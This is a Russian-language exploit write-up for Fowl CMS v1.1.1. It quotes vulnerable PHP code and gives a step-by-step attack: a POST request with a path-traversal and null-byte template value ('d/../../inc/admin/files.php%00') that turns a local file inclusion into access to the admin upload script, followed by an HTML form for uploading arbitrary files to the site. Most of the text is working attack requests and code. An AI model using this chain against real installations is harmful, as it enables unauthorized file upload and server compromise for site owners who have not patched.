Fowl CMS v1.1.1
Download: http://sourceforge.net/project/fowlcms/
LFI(mq==off && регистрация):
Уязвимый файл:
./index.php
PHP код:
if(isset($_COOKIE['User_ID'], $_COOKIE['PW']) AND
is_login_right_cookie($_COOKIE['User_ID'], $_COOKIE['PW'])) {
define("TEMPLATE", get_user_template($_COOKIE['User_ID'])); //get_user_template: SELECT Template From user WHERE id = $ourid ...
} else {
define("TEMPLATE", DEFAULT_TEMPLATE);
...
include('tpl/'.TEMPLATE.'/header.tpl');
...
Эксплуатация:
К сожаления длина поля Template в БД ограничена 30 символами, поэтому для того, чтобы загрузить свой скрипт, предлагаю следующий алгоритм:
./index.php?site=userdata //здесь можно выбрать шаблон, который будет показываться для этого аккаунта
POST:
mail=mail@mak.ru&design=d/../../inc/admin/files.php%00&submit=Abschicken
Теперь вместо tpl-шаблонов будет инклудиться файл ./inc/admin/files.php, и с этого аккаунта мы будем видеть пустую страницу.
Код файла ./inc/admin/files.php:
PHP код:
else { //if isset($_POST['submit'])
$uploaddir = FILES_DIR.$_POST['dir']."/"; #если не трогать POST[dir], то пойдет в папку files/
$cache = '';
$data['data']['infomsg'] = '';
for($i=1; $i<=10; $i++) {
if(isset($_FILES['file'.$i])) {
if(!copy($_FILES['file'.$i]['tmp_name'], $uploaddir.$_FILES['file'.$i]['name'])) {
Можно использовать следующую форму:
<form enctype="multipart/form-data" action="http://[host]/index.php" method="post">
Отправить этот файл: <input name="file1" type="file" />
<input type="hidden" name="submit" value="piece">
<input type="submit" value="Send File" />
</form>
Загруженный файл будет доступен в папке ./files.